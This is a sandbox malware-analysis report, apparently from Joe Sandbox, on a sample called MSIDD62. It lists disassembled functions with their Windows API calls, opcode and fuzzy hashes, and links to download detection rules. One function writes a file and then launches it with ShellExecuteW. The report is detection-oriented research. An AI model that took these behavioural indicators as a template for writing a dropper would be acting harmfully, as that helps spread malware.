String ID:
API String ID: 3997070919-0
Opcode ID: 1bb97e3957e2903a3c5cd9692ef56cf25f24f3d88f96ed5d2da283853249e19d
Instruction ID: bebcde29126cd576ef614f8ccfa7dba1328ca2715c5340bd9ef9bf446f424ed8
Opcode Fuzzy Hash: 1bb97e3957e2903a3c5cd9692ef56cf25f24f3d88f96ed5d2da283853249e19d
Instruction Fuzzy Hash: 41B16EB1A10604CFD719CF28C486BA57BE0FF45364F258659E89ACF3A1C339E992CB44

Function 0040801C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00408032

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: baaa148e2a1b8637ea88dd1e116cea6844d43bb647f93d3329dfb68abafd829e
Instruction ID: 3903050a971ede421773157683281aede0350435f19169cc4ffaa37b003dfa97
Opcode Fuzzy Hash: baaa148e2a1b8637ea88dd1e116cea6844d43bb647f93d3329dfb68abafd829e
Instruction Fuzzy Hash: 54517BB5A10215CBEB14CFA5DA917AABBF0FB88711F25803AC441EB390D7799A01CF58

Function 0040FA8E Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 0040FC23

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c6165c58a3032d91a36f0eb118873c4f60a0d0fde27e7c4dcefc074417a47c92
Instruction ID: 694636140906c0f5e51b72a101a3e94a4aa94d5ab2bedfc62a35a3018ca405f7
Opcode Fuzzy Hash: c6165c58a3032d91a36f0eb118873c4f60a0d0fde27e7c4dcefc074417a47c92
Instruction Fuzzy Hash: EEE19C306006058FCB34CF68C5806ABB7B1BF49314B24467ED55AABBD1D738AD8ACF59

Function 004205E9 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac23a62b4e56d5b2529fbc9ad41b18e15b928cbb96286b6154594dea9f1ab28e
Instruction ID: bc2cf16628dbe75c5cb18f8d68d38ad3aad01140fa14e74c002eea05375eb0b4
Opcode Fuzzy Hash: ac23a62b4e56d5b2529fbc9ad41b18e15b928cbb96286b6154594dea9f1ab28e
Instruction Fuzzy Hash: CC310676A00228AFDB20DFB9DCC4DBBB7ADEB84314F54425AF80593241EA34AD408B58

Function 0040F700 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0040F88E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c71368de4e2841f25d96850d0bb195db2c8b3aeaa940b41e6d5a4d72d7bdd1af
Instruction ID: 495ec7104d245fcf75fc4a99936de9ef2d8ae54f4491ad7ef7b80475062bd1c8
Opcode Fuzzy Hash: c71368de4e2841f25d96850d0bb195db2c8b3aeaa940b41e6d5a4d72d7bdd1af
Instruction Fuzzy Hash: 5AC19E70A006068FCB34DF68C480ABBB7A1AF45314F14463FD856A7BD1D778AD4ACB5A

Function 00423A7A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00423ACE

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 7bc0ee1795af7c061082b53edf5d6b5c58d3b37841e295031198e4d66c3a847a
Instruction ID: 1d4edc0f7cc85a0eefa3f1049b566559421cd0d58235f3da3da0fc7b7b9d5545
Opcode Fuzzy Hash: 7bc0ee1795af7c061082b53edf5d6b5c58d3b37841e295031198e4d66c3a847a
Instruction Fuzzy Hash: 1421C731701266ABDB189E16DC42EBB77B8EF04715B50007FF901D6242EA7CEE418758

Function 00423701 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

EnumSystemLocalesW.KERNEL32(00423827,00000001,00000000,?,-00000050,?,00423E58,00000000,?,?,?,00000055,?), ref: 00423773

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1ba9a599a62f8248dd708a43e43b9b095246be8544c7f4112d8a4d24972550a1
Instruction ID: eecd6c2ca59c2cc2d97f5e72b50bbf1e4de73ba60aab12fb8c2296aab00ead0c
Opcode Fuzzy Hash: 1ba9a599a62f8248dd708a43e43b9b095246be8544c7f4112d8a4d24972550a1
Instruction Fuzzy Hash: 3311067A3003015FDF18AF39D8915BAB7A1FF80319B54842DE58687B40D779A942C744

Function 00423CA9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00423A43,00000000,00000000,?), ref: 00423CD5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a5e8a6a21838863aedf798e891e7909ebbe76be076fef209f881baa9a906cbd2
Instruction ID: e43d108d74d5de9ab12eb5cdc00dda9a408390cd8c9540dfb3c6596c5468d332
Opcode Fuzzy Hash: a5e8a6a21838863aedf798e891e7909ebbe76be076fef209f881baa9a906cbd2
Instruction Fuzzy Hash: 0CF0F9327101217BDB245F25EC06BBB7774EB80755F54442AEC46A3240DA7CFF42C698

Function 0042379C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

EnumSystemLocalesW.KERNEL32(00423A7A,00000001,?,?,-00000050,?,00423E1C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 004237E6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: db568e506ce5864a79fcae0c26fd302740bf233124cc15e088feaa57bf57b2b2
Instruction ID: 662bf13dfdc1097d413deafc3dc1c218f053f99cc9c24ade101017b12ad9a9d5
Opcode Fuzzy Hash: db568e506ce5864a79fcae0c26fd302740bf233124cc15e088feaa57bf57b2b2
Instruction Fuzzy Hash: 45F028B63003045FDB149F39A881A7B7BA1FFC0358B54802EF94587A40D6B99D028604

Function 0041C7A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004172CA: EnterCriticalSection.KERNEL32(?,?,0042163A,00000000,004411A8,0000000C,00421601,?,?,0041C75E,?,?,0041AFDA,00000001,00000364,?), ref: 004172D9

EnumSystemLocalesW.KERNEL32(0041C795,00000001,004410C8,0000000C,0041CBC4,00000000), ref: 0041C7DA

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 08854aaee2c85e14520ff5749bb74ad9414cf6d0f074ddbe655a6b27159cbab8
Instruction ID: 2aff5c87d2e1f47609c46464756907b167827dcc76e8be531a13019df8d2861c
Opcode Fuzzy Hash: 08854aaee2c85e14520ff5749bb74ad9414cf6d0f074ddbe655a6b27159cbab8
Instruction Fuzzy Hash: B3F03C76A40604EFD710EF58E842B9D77F0FB09725F20416BF4109B2A1DB7949848F48

Function 004071C1 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00404EEC,00000000,0043B6C9,00000004,00403D92,0043B6C9,00000004,004041A5,00000000,00000000), ref: 004071DA

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2a977141dbe8eabc822da48366f6ebbf5fd0663cccfbde867b69ba2db6ad93a2
Instruction ID: 396f290ad7189e7b3697af71bb85d87f49c9823eed498697b4849688c2a10cc6
Opcode Fuzzy Hash: 2a977141dbe8eabc822da48366f6ebbf5fd0663cccfbde867b69ba2db6ad93a2
Instruction Fuzzy Hash: 6CE0D172A58104B6D7159BBC9D1FF6B36E8D704709F504156F103F92C1C678DA01E15A

Function 004236B6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

EnumSystemLocalesW.KERNEL32(0042360F,00000001,?,?,?,00423E7A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004236ED

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fd398aa86cbff818c0e05eab00ca5c877d3aaf3042fda12b64d32b89ed820614
Instruction ID: 7326562db07ec836f1383128ae8d0bf059db6235a19938b15973d7c02eb557e5
Opcode Fuzzy Hash: fd398aa86cbff818c0e05eab00ca5c877d3aaf3042fda12b64d32b89ed820614
Instruction Fuzzy Hash: 69F0553630030967CB24AF3AE80667A7FA8EFC1711B86006AEA09CB350C279D943C758

Function 0041CD1F Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0041A4B1,?,20001004,00000000,00000002,?,?,00419AB3), ref: 0041CD53

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 993213dab89549fd462f7762d937425c7af20179551cb4dd8dcd48253b853b5d
Instruction ID: b498b8ec66d7c41fa0aba70d57ca67a6df150d87393759233cdfba895d7d5bb4
Opcode Fuzzy Hash: 993213dab89549fd462f7762d937425c7af20179551cb4dd8dcd48253b853b5d
Instruction Fuzzy Hash: 34E04F35581218BBCF122F61EC45AEE7F26EF44751F004036FD0566221CB358962AAE9

Function 00408553 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002855F,00407E51), ref: 00408558

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0aad11e7ee877d765d84656ddd848d794259b4e5cafb53358a375b71dd5f0076
Instruction ID: ab45f7bc7acfb16dd5ac8dd98b002b9a080bf8c78aaaf9fad26a1aebec1d9694
Opcode Fuzzy Hash: 0aad11e7ee877d765d84656ddd848d794259b4e5cafb53358a375b71dd5f0076
Instruction Fuzzy Hash:

Function 00416078 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction ID: 6b4ff145f44d533ad68088221f6a609ab1d7e04152a0c561df1f7ba61bbcd93e
Opcode Fuzzy Hash: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction Fuzzy Hash: 80327E74A0020ADFCB14CF98C981AFEBBB5EF45304F1641AED845A7345D636EE86CB84

Function 0041E919 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12010c70137e7c29a5ca23235328cbf3d08dc96dda7289a0ae066cc07d919471
Instruction ID: 383cb9d78dabc5fc5b9186f807fcaf2870c9c8999f123528d0909e821e960bcd
Opcode Fuzzy Hash: 12010c70137e7c29a5ca23235328cbf3d08dc96dda7289a0ae066cc07d919471
Instruction Fuzzy Hash: CF325531D29F014DD7278635CA22336A659AFB73C4F15D737F81AB5AAAEB28C4C74104

Function 00422EC5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: fe5be6a6468e820d3e9a1c319386152d4de0f2e029eb669445a27b1e5cc178ee
Instruction ID: 76a18fbcd87e0a5d74895dda48ffde4bc3b525ccaaadd8d74c7dbcd01c42bc64
Opcode Fuzzy Hash: fe5be6a6468e820d3e9a1c319386152d4de0f2e029eb669445a27b1e5cc178ee
Instruction Fuzzy Hash: E6B117356003119BDB349F25DC82BB7B3B8EF54309F94456EE943C6684EABCEA85C718

Function 004118EF Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction ID: 2e46453ac14beeb106431154d774e16853efbb2cb2d74362cb225ff0eef1ff33
Opcode Fuzzy Hash: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction Fuzzy Hash: 11518271E01219AFDF04CF99C991AEEBBB2EF88300F19805DE515AB311C7349E91CB94

Function 00409730 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: cfaf17e61477827595cba3094808e06514427db43c5861e402f0a767dca774d8
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 881131BB261142C3D6148E3DC8F49B7E395EBC5321B2C437BD0426B7DAD23ADD459508

Function 004203E8 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: 84d9c5769a8bb5f32b96c16cbcb1e23c183e5fbff20d869f038de853226c9690
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: 52E04632A11238EBCB15EB999944A8AF2ECEB48B44B5144ABB601D3212C278DE40C7D4

Function 0041843F Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction ID: f98ca3f34d964046128fa04824a014a5ee727e8ff748864cd89c599bd9132bf2
Opcode Fuzzy Hash: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction Fuzzy Hash: 0DC08C34100A0187CE398A1082B13EE3394B791786F80098EC81A0BF42DD1F9CC2D644

Function 003E8790 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 349
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 003E880D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 003E8860
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E886F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 003E888B
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E896B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E8977
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E89B3
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E89D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E89EF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E8A83
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 003E8ACE
